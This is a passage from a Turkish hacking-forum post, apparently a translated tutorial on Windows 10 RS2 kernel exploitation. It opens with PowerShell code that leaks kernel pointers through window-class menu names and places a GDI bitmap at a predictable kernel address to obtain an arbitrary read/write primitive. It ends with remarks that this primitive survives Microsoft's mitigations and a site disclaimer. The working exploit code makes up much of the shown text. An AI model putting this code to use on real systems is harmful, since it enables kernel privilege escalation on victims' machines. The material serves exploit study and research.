        [System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+$lpszMenuNameOffset)
    }
     
    #------------------[Bitmap Leak]
    $KernelArray = @()
    for ($i=0;$i -lt 20;$i++) {
        $TestWindowHandle = Create-WindowObject
        $KernelArray += Leak-lpszMenuName -WindowHandle $TestWindowHandle
        if ($KernelArray.Length -gt 1) {
            if ($KernelArray[$i] -eq $KernelArray[$i-1]) {
                Destroy-WindowObject -Handle $TestWindowHandle
                [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)
                $BitmapHandle = [HmValidateHandleBitmap]::CreateBitmap(0x701, 2, 1, 8, $Buffer) # +4 kb size
                break
            }
        }
        Destroy-WindowObject -Handle $TestWindowHandle
    }
     
    $BitMapObject = @()
    $HashTable = @{
        BitmapHandle = $BitmapHandle
        BitmapKernelObj = $($KernelArray[$i])
        BitmappvScan0 = $KernelArray[$i] + 0x50
    }
    $Object = New-Object PSObject -Property $HashTable
    $BitMapObject += $Object
    $BitMapObject



Şuna bir bakalım.



RS2-Desktop11.jpg




SURFOBJ yapısı oldukça farklı ve bunun için herhangi bir sembolümüz olmasa da sızıntının başarılı olduğunu kolayca söyleyebiliriz.



RS2-Desktop12.jpg




Son düşünceler

Hemen hemen bu kadar! Çok sevilen Bitmap ilkelimiz, şimdiye kadar Microsoft tarafından gerçekleştirilen iki tur azaltmadan sağ çıktı. Bitmapler, çok çeşitli Kernel istismar senaryolarında uygulanabilen gerçekten güçlü (ve kullanışlı) bir okuma / yazma ilkeli sağlar. Kaçınılmaz olarak, Microsoft bu ilkeli biz onu sonsuza dek kaybedene kadar dövmeye devam edecek, ancak RS3 vurduğunda 3. tura geri dönebileceğimizi kim bilebilir....




 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.